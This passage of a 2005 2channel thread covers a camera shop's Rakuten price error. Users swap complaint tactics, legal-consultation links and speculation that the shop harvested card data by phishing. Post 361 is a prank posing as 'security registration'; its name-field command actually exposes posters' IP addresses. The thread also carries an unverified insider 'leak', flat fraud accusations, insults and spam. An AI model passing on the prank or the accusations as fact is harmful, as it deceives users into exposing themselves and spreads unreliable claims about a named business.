電話したらまず相手の所属と名前と権限を聞いてみると良いかもね。

250 :番組の途中ですが名無しです:05/03/02 08:22:49 ID:isCCv6Ox
今日からかフリーダイヤル
要点だけ渡されてひたすら謝る
なんか聞かれてもお調べしてこちらから御連絡いたします

結局クレーム処理のためのダイヤルだろ
携帯でつながればまいにちまいにちかければ向こうの負担が増えるけど

このすれ昨日から進んだ分まだ読んでないけど
なんか重要な事あります?

251 :番組の途中ですが名無しです:05/03/02 08:33:44 ID:1fh/1Coz
>>246

フリーダイアルだけども、たぶんテレアポのバイト行きだと思う。

「ナニワ担当の○○です」とかいう電話のとり方をすると思うけど、それは
「(テレアポ専門会社バイトの)ナニワ担当○○です」という意味。

所属と名前を聞いても、ナニワの社員でありお客様サポート部とかいうところだと
こたえてくると思うよ。

以前テレアポ会社につとめていたけど、大手会社の外注でそういったことをやっていた。

本社・本店かネット部署にかけるのがいいと思う。

んじゃ、出勤なんでいってくる。ノシ

252 :番組の途中ですが名無しです:05/03/02 08:42:05 ID:d/jd+c+r
価格誤表記の原因をリークしますのでお許しください
じつは社員用の販売価格だったんです。
それが頭から離れなくてタイプミスしました、すみませんでした。
社員の注文だけで150台近くあるそうですが、総務課担当いわく
これは福利厚生だそうです。ただし2万円上乗せ転売はなるべく口の堅い
知人にしかしてはいけないそうです。
ボーナスも年末少なかったので偶には良いこともあるのです。


253 :番組の途中ですが名無しです:05/03/02 08:47:30 ID:wa2YsFCw
なんだ、やっぱあの価格で売れるんじゃん

つーわけで、さくさく売れ

254 :番組の途中ですが名無しです:05/03/02 08:54:47 ID:ymAKXRsZ
うだつのあがらない、基地外が大騒ぎしているというスレはここですか?
ってか常識もわからないんですか?おまえらはもしかしてヒキヲタ?
てめえらはこの価格競争による薄利多売の時代に何馬鹿いってるの?
もれは法律にも詳しいから言ってやるがこれは絶対君らが不利だよ。
らしいといえばそうだがおまえらは相手のことを一切考えないんだな。
えげつないことばっかりやってると、マジで一生を童貞で終えることになるぞ。
ルール(規約)に従えないなら、最初から楽天を使わなければいいだけだよ!

255 :番組の途中ですが名無しです:05/03/02 08:58:07 ID:5g1Z9pyD




256 :番組の途中ですが名無しです:05/03/02 09:01:44 ID:en1Dttpr
今回注文してキャンセルのお願いメールを受けてちょっと同情したので
キャンセルを了承したのですがスレを見るとやたらと社員と思しき人間が
荒らしているので怒りが込み上げてきた、、、
キャンセル了承なんかしなきゃよかった

>(楽)&(┌| ∵|┘)

書き込んでる暇があるなら客に真摯に対応しなさい

257 :番組の途中ですが名無しです:05/03/02 09:10:11 ID:ersMDAX+
社員ギガトロンワロスwwwwwwwwwwwwww

258 :番組の途中ですが名無しです:05/03/02 09:20:43 ID:7AdjHztS
>>254
は縦。

259 :番組の途中ですが名無しです:05/03/02 09:25:12 ID:wa2YsFCw
俺、これからキタムラに下見に行くんだけど
なんだか勢いで予約しちゃいそうなんだよね
もしくはD70注文

どうしよっかな〜(・∀・)ヘラヘラ

260 :番組の途中ですが名無しです:05/03/02 09:29:49 ID:ymAKXRsZ
>>259
マジレスするとD70はダサいしやめとけ

261 :番組の途中ですが名無しです:05/03/02 09:33:56 ID:3yjlndlz
まじでカメラかえないの?
信じられないんだけど
まじありえない

262 :番組の途中ですが名無しです:05/03/02 09:37:43 ID:pRDwQs+8
まじでカメラかえると思ってるの?
信じられないんだけど
まじありえない

263 :番組の途中ですが名無しです:05/03/02 09:40:29 ID:3yjlndlz
銀塩一眼買おうかな

264 :番組の途中ですが名無しです:05/03/02 09:56:17 ID:io8bjmDn



まだやってたのかよゴネ厨いいかげんにしろよw


 

265 :番組の途中ですが名無しです:05/03/02 09:57:46 ID:3yjlndlz
┌【@曾@】┘ごねてないでさっさと売れよ

266 :番組の途中ですが名無しです:05/03/02 10:04:59 ID:io8bjmDn



おまえらなんかにナニワさんが売るわけ無いでしょプゲラッチョ


 

267 :番組の途中ですが名無しです:05/03/02 10:06:02 ID:G/DmgOqg
10時になったら工作員がでてきますた

268 :番組の途中ですが名無しです:05/03/02 10:08:10 ID:ersMDAX+
これぞハニアクオリティ

269 :番組の途中ですが名無しです:05/03/02 10:16:43 ID:fBIQf7HW
電話全然つながらないんだけど。
1回線(テレアポ一人)しか用意してないのか?

270 :番組の途中ですが名無しです:05/03/02 10:17:24 ID:ymAKXRsZ
ID:io8bjmDnはナニワの振りしたメディアラボ副店長w

271 :番組の途中ですが名無しです:05/03/02 10:19:44 ID:io8bjmDn



さっさと裁判でもおこしてみろよプ


 

272 :番組の途中ですが名無しです:05/03/02 10:23:59 ID:8LqQ4nek
昨日、弁護士の無料相談にいってきました。

「クレカの場合、予約やすぐ決済ではない場合
予約画面にクレカの明細情報を入力させるのは
個人情報保護法に違反の恐れがおおいある。」とのこと
{予約受付}の場合、後日、詳しい情報をお客から聞けばいいので
大体は「名前」「住所」「電話番号」「メールアドレス」くらいだそうです。

最近のナニワの対応を話したところ
「最低でもクレジットカードでの決済の手続きをとられた方は早急に
クレジット会社に連絡と{「フィシング詐欺」の疑いがある}
と警察に被害届けを出されることをお勧めします。」とのことです。


273 :番組の途中ですが名無しです:05/03/02 10:24:24 ID:3yjlndlz
ID:io8bjmDnは何台注文したの?

274 :番組の途中ですが名無しです:05/03/02 10:26:12 ID:3yjlndlz
代引きのおれに出来る事は?
なぜクレカにしなかったんだ・・・。
ラボは0円でクレカにしたのにw

>>272
弁護士の無料相談なんかあるんだ


カメラほすぃー

275 :番組の途中ですが名無しです:05/03/02 10:27:12 ID:rOzL/GaR
フリーダイヤルつながりそうだった、何を確認しておけばいい?

276 :番組の途中ですが名無しです:05/03/02 10:27:36 ID:Kcp3Ynp7
>>272

乙!

んじゃ、俺も被害届けの提出を念頭に考えるわ。
同時に消費者センターやecomにも行ってみる。

277 :番組の途中ですが名無しです:05/03/02 10:30:16 ID:3yjlndlz
>>275
繋がりそうw
コールしてきったのか

278 :番組の途中ですが名無しです:05/03/02 10:32:29 ID:rOzL/GaR
>>277
通話中だと思ってかけたから・・・、1回鳴って何も準備してないから切ったw

279 :番組の途中ですが名無しです:05/03/02 10:33:17 ID:ersMDAX+
フィッシングきたー

280 :番組の途中ですが名無しです:05/03/02 10:34:02 ID:3yjlndlz
>>278
おれも┌| ∵|┘が夜中にリアルタイム更新してるときに電話ならした
途中で留守電に切り替えられたようだった
でも作業中に電話がなるのはびびったはずだw

電話するときって準備して無いとろくに話すことも無いからな
とりあえず女の子だったらデートの約束

281 :番組の途中ですが名無しです:05/03/02 10:34:55 ID:ersMDAX+
夜逃げのハニワ釣堀営業中

282 :272:05/03/02 10:35:08 ID:8LqQ4nek
あります!
{法律無料相談}って言うやつ
間違いにしても{大変悪質}と弁護士さんが申しておりました。
ついでに、ここの板住所など「知りたい」と言うことだったので
リンクや板・この件が取り上げられているサイト&ブログすべて
教えてあげました。

283 :番組の途中ですが名無しです:05/03/02 10:35:08 ID:TYtEtQyU
経営板の祭り!!!
情報起業系で儲けているアライ先生、実はキティ??

暴露ブログ
http://blogs.yahoo.co.jp/zigzag_mathmania/

こんなものが登場したから、アライスレッド
http://money3.2ch.net/test/read.cgi/manage/1082528885/l50
が祭り状態

マジで面白いぞこれ

284 :番組の途中ですが名無しです:05/03/02 10:36:21 ID:Kcp3Ynp7
あーそうそう。

個人情報やカードのデータだけど、ナニワは

「消 す こ と が 出 来 な い」 と 明 言 し た よ 。

楽天の管理ツールを使って情報の閲覧などができるみたいだけど、
その管理ツールでは情報を消すという操作ができないんだってさー。

その管理ツールから取り込んだり印刷したりした個人データの破棄は
約束できるけど、楽天側に送られたデータはナニワからはいじくれないって。

285 :番組の途中ですが名無しです:05/03/02 10:36:57 ID:rOzL/GaR
とりあえず、フリーダイヤルで出る人間の立場だけ確認しておけばいいのか?
中根、塩山は出るのかどうかとか

286 :番組の途中ですが名無しです:05/03/02 10:44:22 ID:Uam9ffyZ
>>272

それって何に対する被害届け?

287 :番組の途中ですが名無しです:05/03/02 10:45:48 ID:ersMDAX+
個人情報は楽天が持っていてハニワは楽天の
データサーバーか何かにログインして閲覧する形

データそのものは楽天が持っている
本人が「消してくれ」と言っても楽天は消してくれない
この辺も弁護士等に聞いてほしい
本人が要請してるのに消さなくていいのかと

288 :番組の途中ですが名無しです:05/03/02 10:46:08 ID:2uK2UzRB
ちくしょおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおお
お前らシネシネシね市ね!!!!

289 :在日朝鮮人:05/03/02 10:48:01 ID:zD1BsFbS

カメラ売ってくれねーんならよ

クレジットカードのことで告訴しようぜ

290 :番組の途中ですが名無しです:05/03/02 10:48:07 ID:ersMDAX+
>>286
フィッシング詐欺によるカード情報漏洩(抜き取り)の被害

291 :番組の途中ですが名無しです:05/03/02 10:50:33 ID:2uK2UzRB
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了

292 :番組の途中ですが名無しです:05/03/02 10:52:39 ID:sd0r7CKP
どんなに落ちぶれようとも
心までは貧しくなりたくないものだな(´・ω・)y-~~~

293 :番組の途中ですが名無しです:05/03/02 10:54:12 ID:pERT93jy
>>292 はげしく同意
ナニワのように心が貧しくちゃ、マトモな商売はできないね

294 :番組の途中ですが名無しです:05/03/02 10:55:32 ID:Kcp3Ynp7
>>293
まったくだな。
詐欺まがいの行為をするなんて考えられないよ。

295 :番組の途中ですが名無しです:05/03/02 10:55:58 ID:ymAKXRsZ
ナニワも倒産前にフィッシングで一儲けですか?

296 :番組の途中ですが名無しです:05/03/02 10:56:40 ID:pERT93jy
倒産かw
身も心も貧しいのですな

297 :番組の途中ですが名無しです:05/03/02 10:56:51 ID:ZcBoxlTP
記念カキコ

298 :番組の途中ですが名無しです:05/03/02 10:59:01 ID:7AdjHztS
営業時間中にネクタイ締めて、このアラシをやってんですよね。
ナニワというか、大阪は、とほほですな。
小銭を守るためには、信用も外ヅラも客の気持ちもお構いなしで、手段を選ばずですか。
さすがナニワ商人ですね。

299 :番組の途中ですが名無しです:05/03/02 10:59:52 ID:BBExDJDy
>>8
・価格表示やショッピングページでは
 「大決算セール」
 「楽天特別価格」
 など、安さを強調する表示が多くあった


”決算、セール、特別”などは安いという意味ではないですよ。気をつけてください。

よく「〜特価」表示がありますが、定価より高くても特価(=特別価格)ですからね。

300 :番組の途中ですが名無しです:05/03/02 11:02:47 ID:ymAKXRsZ
>>299
ヒキヲタは黙ってろ!

301 :在日朝鮮人:05/03/02 11:03:44 ID:zD1BsFbS

カメラ売れつったら、売れや

302 :番組の途中ですが名無しです:05/03/02 11:04:57 ID:Kcp3Ynp7
>>299

そうすると、紛らわしい表示を行ったうえでフィッシング詐欺まがいの行為を
はたらいたわけだな。ますます悪質だwww

303 :番組の途中ですが名無しです:05/03/02 11:04:58 ID:rOzL/GaR
フリーダイヤル電話してみた、(関西弁)女性が出た
あんまり聞くことがないので、今回の件について契約はなされているのか質問
俺 今回の件で、契約はなされているのか?
女 私でわかりかねますので、担当のものがいてるんですが、今ほかの電話対応中ですので、折り返し電話させます
俺 担当の方はどなたですか?
女 中根と申します
俺 んじゃ、またあとでかけます(たぶんかけない)

ってやりとりでした、デートの約束は私は東京なので省きました、関西弁ってあまり好きじゃないし

わかったこと
・一応会社につながるっぽいって事
・中根氏が電話に対応することが可能

誰だよクビとか言ってたやつは

304 :番組の途中ですが名無しです:05/03/02 11:05:37 ID:Uam9ffyZ
>>290

これだけの規模の会社がフィシング詐欺なんてやるとは思えない。
あとクレジット番号を申し込み時に入力させるのって他のネットショップでもやってね?。

305 :番組の途中ですが名無しです:05/03/02 11:06:58 ID:o6fER4mT
>599
なにピント外れのことをほざいていきがってるんだよ。
そこの本質は
「楽天特価56800円(税抜)」の表記が
明らかに誤記であると客観的に判断できるか、ってことだ。

一般的に、特価と表記して4割程度の値引きをする例がまったくないとでも
証明しない限り、そう判断するのは無理、ってのが常識的見方だろうな。

306 :番組の途中ですが名無しです:05/03/02 11:08:12 ID:Kcp3Ynp7
>>304

俺もそう思っていたよ。カメラのナニワといえば関西なら知らない人間は
いないからな。ところがどっこい、電話しても全然お話にならない。

送信した情報を消してくれ→情報は消せない
フィッシング詐欺まがいじゃないか→申し訳ない(あやまるだけで何もしない)

結局消費者はやられ損だよ。

307 :番組の途中ですが名無しです:05/03/02 11:08:42 ID:Z5S5kQmU
>>304
これだけの規模の会社が価格を誤表記なんてするとは思えない。
あとクレジット番号を申し込み時に入力させるのは他のネットショップでやってても問題。

308 :305:05/03/02 11:08:51 ID:o6fER4mT
299を599とtypoした…orz

309 :番組の途中ですが名無しです:05/03/02 11:10:51 ID:7AdjHztS
>>304
だぁからー、ナニワがフィシング詐欺の新手法をはからずも(?)あみ出してしまった事が、
問題なわけ。ナニワが責任をきちっと取らなかったら、同じやり方で、確信犯の
フィシング詐欺師を横行させてしまうことになるだろ。それを防止するために、
こんなことをしたら、痛い目を見るって前例をつくっておく必要があると、思われるのよ。

310 :番組の途中ですが名無しです:05/03/02 11:19:34 ID:7AdjHztS
関西企業にあたえたダメージは大きいな。
いくら老舗、大手だといっても、関西の会社はこの程度かということを、
日本中にしらしめたことになる。
関西の中小、大手を問わず、関西の全企業が、手ひどいダメージを
受けたことになるだろう。
ナニワの会長と言えば、マスコミ露出度の高い、ものすごい有名人であり、
その立志伝は、松下幸之助とならび称される有名な話だ。
つまり、あの有名人物の会社がこんなものかってことになるわけで、
大阪がほこる松下幸之助でさえも、ナニワ会長の一つ穴のムジナだ
ということで、おおにい泥をかぶることになるわけよ。

311 :番組の途中ですが名無しです:05/03/02 11:23:05 ID:odo9A+hP
>>272
さんいましたら、お答えできますか。
被害届けだされましたか?ecomにはメールしてあるんですが、
被害届けも出そうかと思ってます。

312 :番組の途中ですが名無しです:05/03/02 11:23:09 ID:7AdjHztS
ナニワはナニワ(大阪)って看板をしょってんだから、その分責任が重いよな。
このままだと、ナニワのせいでナニワ全体が沈没することになる。

313 :番組の途中ですが名無しです:05/03/02 11:25:54 ID:5KAM/5rr
松下も所詮、特許ジゴロでしょ

314 :番組の途中ですが名無しです:05/03/02 11:28:48 ID:h7q9ouyc


ゴネ厨必死だなwプゲラウヒョー

315 :番組の途中ですが名無しです:05/03/02 11:30:14 ID:Kcp3Ynp7
ecomや消費センターに相談する人にアドバイス。

相談員の同情を買う人ほど、親身になってもらいやすいよ。

316 :番組の途中ですが名無しです:05/03/02 11:37:14 ID:NfbhVm3R
ゴネ厨=カメラのナニワだったよね

317 :番組の途中ですが名無しです:05/03/02 11:39:35 ID:odo9A+hP
■ テンプレ更新 ■

弁護士による無料法律相談窓口纏めてくださっているサイト
http://www.asahi-net.or.jp/~zi3h-kwrz/feeno.html

経済産業省 (メール相談)
ttp://www.meti.go.jp/intro/consult/a_main_01.html

全国 消費生活センター (電話・現地窓口相談)
http://www.kokusen.go.jp/map/

電子商取引推進協議会 (WEBフォームから相談)
ttp://www.ecom.jp/adr/ja/

まとめ
http://ime.nu/ps2.s101.xrea.com/050226.html

行列の弁護士
http://www.ntv.co.jp/horitsu/20040905/3.html

なにわ
http://www.rakuten.co.jp/naniwa/index.html
メールアドレス:info@728.co.jp
カメラのナニワ 心斎橋本店
大阪市中央区心斎橋筋1-4-29
(06)6281-4100
■■■■■■■■■■

318 :番組の途中ですが名無しです:05/03/02 11:42:11 ID:UTjhKS96
必死→プゲラウヒョー

319 :番組の途中ですが名無しです:05/03/02 11:44:52 ID:/etzJSOl
naniwaのデジカメ2980円
http://navi9.auctions.yahoo.co.jp/jp/config/remember?aID=k16151629

320 :番組の途中ですが名無しです:05/03/02 11:45:55 ID:CQUXarC9
ttp://univ.kanto-gakuin.ac.jp/law/soudan.pdf

321 :番組の途中ですが名無しです:05/03/02 11:47:21 ID:n2Ecq+9m
>>309

これって純粋に民事の話だろ。
ナニワには詐欺ろうとする意思もないだろうし
実際に金銭的な被害がないのに詐欺罪を問うのは難しいと思う。
ただの契約トラブルとして、民事不介入つって警察では相手にされないと思う。





322 :番組の途中ですが名無しです:05/03/02 11:47:58 ID:3yjlndlz
なんか進んでるな
読むの疲れた・・・。w
だれか例えばなしで教えて

323 :番組の途中ですが名無しです:05/03/02 11:48:43 ID:NfbhVm3R
個人情報保護の観点からしてみてフィッシング詐欺に当たると思う。

324 :番組の途中ですが名無しです:05/03/02 11:51:44 ID:LHsNslSg
これって純粋に民度の話だろ。

325 :番組の途中ですが名無しです:05/03/02 11:52:36 ID:R/z6jh0R


326 :番組の途中ですが名無しです:05/03/02 11:52:37 ID:d/jd+c+r
個人情報使用しないはずなのに、
ナニワからメルマガきたぞ。

327 :番組の途中ですが名無しです:05/03/02 11:52:51 ID:7AdjHztS
クレカ情報をふくむ、ニセ申告の少ないであろう良質の個人情報を、
無料で大量収集したんだよ。いかにも買えそうな値段で、だれもが
欲しい有名メーカーの新製品を売りそうなフリをして。
こんなことをしといて、タダですむと思う。タダですませちゃダメだよ。

328 :番組の途中ですが名無しです:05/03/02 11:53:59 ID:Kcp3Ynp7
>>321

金銭的被害がなければフィッシングまがいの行為でカード番号を入力
させても問題ないと言えるのかな?

店舗が、そのような意図が無いと主張してさえいれば、フィッシング詐欺
まがいの行為でカード番号を入力させても問題ないのかな?

確かにカード番号を入力させるという行為が、そのまま犯罪行為といえるのかは
解らない(刑法で規定されているのかどうかもわたしは知らないからね)けども、
消費センターの相談や、上のレスにあった弁護士相談でも出ている一つの結論は

非常に悪質である

とういことなんだよ。
それについて警察に相談しに行くのは、別にわるいことじゃあるまい?

329 :番組の途中ですが名無しです:05/03/02 11:55:40 ID:NfbhVm3R
大阪民度

どうでもいいけどこのランキングの4位凄いな。
http://event.rakuten.co.jp/ranking/man-daily/

330 :番組の途中ですが名無しです:05/03/02 11:56:17 ID:aUeGlwey
エキサイト規制解除ですよと。

どっちにしろフィッシング詐欺の”疑いがきわめて高い”
ので警察に行く価値はありってことですよと。

ほんとに詐欺かどうかはそりゃ知らん罠。

331 :番組の途中ですが名無しです:05/03/02 11:58:38 ID:CQUXarC9
弁護士への無料法律相談のお知らせです。

ttp://univ.kanto-gakuin.ac.jp/law/soudan.pdf

332 :番組の途中ですが名無しです:05/03/02 11:59:18 ID:R/z6jh0R
楽天撤退はずっと前から決まってたんだろ。
どうせだから最後っ屁として個人情報ぶっこ抜いたんだよ。
楽天はむしろ被害者と言える。

333 :番組の途中ですが名無しです:05/03/02 12:03:54 ID:rOzL/GaR
これがこのままで済ませられるなら、これからはこの類のフィッシング詐欺が横行する
ありそうな、無さそうな値段でも問題だし、0が1つ足りない値段でも
間違えました、が、もらった個人情報は消せません(消したと言うだけかもしれないが)

今回の場合は・ありえる値段・異常なほど安くない でも、申し込んだ
ある程度は「買う意欲のある人間の個人情報」を取得できたのである
今後それを詐欺として扱うか、間違えたのなら仕方ないで許されるのかで争った際
バカな前例を作ってしまってはならない

334 :番組の途中ですが名無しです:05/03/02 12:11:34 ID:NfbhVm3R
ナニワの掲示板
http://rforum.rakuten.co.jp/?act=cattop&sid=2&cname=naniwa

335 :番組の途中ですが名無しです:05/03/02 12:16:52 ID:7AdjHztS
>> ナニワの掲示板

[ろくさん] ご注意! (2005/03/02 11:42)
今、別件でクレジットカードを使おうとしたら、無効になっていました。
詳細はまだ調査中ですが、今回のことでカードを使った方、
早急にカード会社のほうへ照会することをお勧め致します。

・・・だってよ。今回の件で、ほんとに悪意の詐欺師がからんでいたら、
怖いね。




336 :番組の途中ですが名無しです:05/03/02 12:19:07 ID:CQUXarC9
    ∧__∧
    (´・ω・`)   どうしたら、
   .ノ^ yヽ、 99,540円を59,640円
   ヽ,,ノ==l ノ   誤入力するのか説明してもらいますよ。
    /  l |
"""~""""""~"""~"""~"

337 :番組の途中ですが名無しです:05/03/02 12:22:11 ID:7AdjHztS
>>336
塩山Jrに「やあ中根くん。ごくろぅ、ごくろぅ(596)」と、
昼間、言われたんじゃないの。で真夜中にサービス残業してて、
ちょーむかついてきた。

338 :番組の途中ですが名無しです:05/03/02 12:23:40 ID:MTEP/Zzb
フィッシング喰らった奴、

急いでカード番号変更汁

キャンセル拒否メール→勝手に定価で引き落とし とか、

正気とは思え

339 :番組の途中ですが名無しです:05/03/02 12:26:27 ID:3yjlndlz
┌| ∵|┘に関しては
売らない=誠意無し

叩かれて当たり前です


340 :番組の途中ですが名無しです:05/03/02 12:28:21 ID:rOzL/GaR
>>338
それこそ詐欺だろ
カード会社ってどこまで保障してくれるんだろ?

341 :番組の途中ですが名無しです:05/03/02 12:34:47 ID:3yjlndlz
クレジットカード会社が決済をするのは
店がカードの持ち主に金を要求して、客が了承したからだろ?
これで契約成立だろ

間違っているかもしれない金額を要求してくるなよ


342 :番組の途中ですが名無しです:05/03/02 12:34:51 ID:MTEP/Zzb
会社にもよるが、
盗難カード(盗難カード番号)による不正利用の場合は
発覚から約60日前までは保障してくれる。

だが、このケースは本人による正規利用が起点になってるので判断は微妙。

泣き寝入りなんて事になる前に、可能な対策は講じておけ。

343 :番組の途中ですが名無しです:05/03/02 12:39:50 ID:Cse6+8Ng
仲根くんのPCには
注文者のメールアドレズと名前は確実に入ってるわけだが

344 :番組の途中ですが名無しです:05/03/02 12:39:52 ID:rOzL/GaR
6万の商品を95000円で売ったらおかしいでしょ
差額の請求をナニワにできるはずだし、届いてからでもキャンセルもできるはず。
ナニワ以外の第三者の場合はカード番号の盗難に該当するから、ナニワを叩きやすくなる

345 :番組の途中ですが名無しです:05/03/02 12:47:53 ID:MTEP/Zzb
おかしいって主張はわかる。俺も確かにおかしいと思う。
だが、
あの会社がいままでおかしくない対応ってのをしてきたか?

最低限の自衛策はやっとく必要があると思うが。

346 :番組の途中ですが名無しです:05/03/02 12:47:55 ID:NfbhVm3R
[4005899]キススキおやじ さん 2005年 3月 1日 火曜日 20:30
p051192.ppp.asahi-net.or.jp Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

アマゾンでは92,800円の15%還元なので実質78,880円ですね。


--------------------------------------------------------------------------------

  [4006097]spa055 さん 2005年 3月 1日 火曜日 21:08
59.129.37.94 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)

キスキスおやじさん>
Amazonは「最大15%」還元です。
92800円だと、この場合の還元額は10000円なので実質82800円です。
それでも実質最安値ですが…

Amazonのこういう紛らわしい表示は止めて欲しいですね。

http://www.kakaku.com/bbs/Main.asp?PrdKey=00500210807

347 :番組の途中ですが名無しです:05/03/02 12:49:36 ID:NfbhVm3R
amazon
http://www.amazon.co.jp/exec/obidos/ASIN/B0007VRPYG/

348 :番組の途中ですが名無しです:05/03/02 12:58:53 ID:yaNbhQ/z
携帯で楽天からの自動返信確認メールを受けた人には
先頭の但し書きがついていなかったということですが
http://www.rakuten.ne.jp/gold/naniwa/nagare.html
ご注文から発送までの流れのページの中に
>※某フリーメールアドレスで、当店からのメールが届かない、
>もしくはかなり遅れて到着することがございます。
>また、携帯メールは文字数の制約やPCメールの
>受信拒否等で正常にお送りできない場合がございます。
と書いてあるからそこで逃げられそう。
でもなにわのサイトのどこにもなにわが間違えた場合の処理について
説明が無いからキャンセルなんか押し付けられる筋合いないよ。
メディアラボみたいにサイト内に説明してあればなにわも助かったかも
しれないのにね

349 :番組の途中ですが名無しです:05/03/02 12:59:03 ID:MTEP/Zzb
買える買えないの話ばっかりに目がいきがちだけど、
フィッシングはけっこうな大問題なんだよな。
楽天の皮被って正規の取引を見せかけている以上、実質識別不可なわけで。
頻発して被害大きくなるまでマスコミは取り上げないだろうし。

・・・・しばらくはネット通販できそうにネェな

350 :番組の途中ですが名無しです:05/03/02 13:02:03 ID:Kcp3Ynp7
>>348

それはあくまで、店側からのメールのこと。

楽天からの自動返信メールはしっかりくるよ。


351 :番組の途中ですが名無しです:05/03/02 13:04:19 ID:aUeGlwey
そろそろめんどくさくなってラボみたいに
「何度も説明してるのにご理解いただけないようで残念」
とかぬかしてくるうんだろうかwww

352 :番組の途中ですが名無しです:05/03/02 13:04:37 ID:MTEP/Zzb
深夜にな。

353 :番組の途中ですが名無しです:05/03/02 13:07:12 ID:3yjlndlz
カードを使って
不安になったときは
カードを解約するか
番号を変えるしか無いんだよね?

ナニワが会社として個人情報をどうにかする事は考えにくいが
中に居るのは人間だからね

クレジットカードもそのうちネットでは使わなくなるだろうな
もっとセキュリティの高いものが普及しなきゃあぶないあぶない

354 :番組の途中ですが名無しです:05/03/02 13:07:48 ID:2uK2UzRB
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  終  了 │
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛

355 :番組の途中ですが名無しです:05/03/02 13:09:59 ID:l8GIZG13
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  開 始  │
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛




356 :番組の途中ですが名無しです:05/03/02 13:11:23 ID:ymAKXRsZ
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  燃 料  │
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛

357 :番組の途中ですが名無しです:05/03/02 13:13:25 ID:yaNbhQ/z
>>350
じゃあ携帯で楽天の自動返信を受けた人にも
本メールはお客様のご注文情報が楽天市場のサーバに到達した時点で送信
される、自動配信メールです。ショップからの確認の連絡、または商品の発送
をもって売買契約成立となりますって文面は届いてるのか

もっとも俺の場合には価格の間違え自体認めてやってないから
関係ないけどね

358 :番組の途中ですが名無しです:05/03/02 13:14:08 ID:rOzL/GaR
>>353
こないだトイザラスオンラインでUSB接続の機械使ってEdyで支払いした
Suica使うような感覚で簡単だったよ

でも、金使ってるって感じがあまりしなくて、違う意味で危険な気がする

359 :番組の途中ですが名無しです:05/03/02 13:14:23 ID:odo9A+hP
■   テンプレ   ■

弁護士による無料法律相談窓口纏めてくださっているサイト (←一見の価値あり)
http://www.asahi-net.or.jp/~zi3h-kwrz/feeno.html

経済産業省 (メール相談)
ttp://www.meti.go.jp/intro/consult/a_main_01.html

全国 消費生活センター (電話・現地窓口相談)
http://www.kokusen.go.jp/map/

電子商取引推進協議会 (WEBフォームから相談)
ttp://www.ecom.jp/adr/ja/

まとめ
http://ime.nu/ps2.s101.xrea.com/050226.html

行列の弁護士
http://www.ntv.co.jp/horitsu/20040905/3.html

なにわ
http://www.rakuten.co.jp/naniwa/index.html
メールアドレス:info@728.co.jp
カメラのナニワ 心斎橋本店
大阪市中央区心斎橋筋1-4-29
(06)6281-4100
■■■■■■■■■■

360 :番組の途中ですが名無しです:05/03/02 13:15:37 ID:AKAAXnf9
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了




361 :anafuslanasan:05/03/02 13:18:01 ID:eT4x84ez
おまえら、荒らしと間違われないように、セキュリティガード登録しないと
大変だぞ。最近の2ちゃんはIPはとるわ、匿名性も低まっているからな・・。

ちなみに今年から登録方法変わってるから、気をつけて・・・。


==============================
SecGuard (Security Guard)
  もとは米国Stanford大学計算機科学部で開発された暗号化方法。
  ひろゆきが2chにも導入

登録方法
  名前: 欄に anafusianasan と書く。

==============================

362 :番組の途中ですが名無しです:05/03/02 13:18:28 ID:Kcp3Ynp7
>>357

すまん。ちょっと食い違いがあったみたいだ。

楽天からの自動返信メールは、携帯にすぐくる。けれどもその内容は
・注文内容と金額
・ショップ名称
・届け先 住所氏名など
・注文者 氏名
・支払方法と配送方法

のみという簡潔なもの。
「このメールをもっては契約成立ではない」という一文は、ない。

で、店舗から後日くるメールについては、例えばPC向け内容を含んだ
一斉送信とか、携帯やPHSアドレスに気付かず長文を送ってしまうとか、
そういうことがありえますよ、という表記なんだと思う。>>346はね。

363 :番組の途中ですが名無しです:05/03/02 13:19:43 ID:Kcp3Ynp7
すまん最後アンカーミス

× そういうことがありえますよ、という表記なんだと思う。>>346はね
○  そういうことがありえますよ、という表記なんだと思う。>>348はね

364 :番組の途中ですが名無しです:05/03/02 13:21:38 ID:3yjlndlz
>>358
古い技術をつかうのはきけんだよね
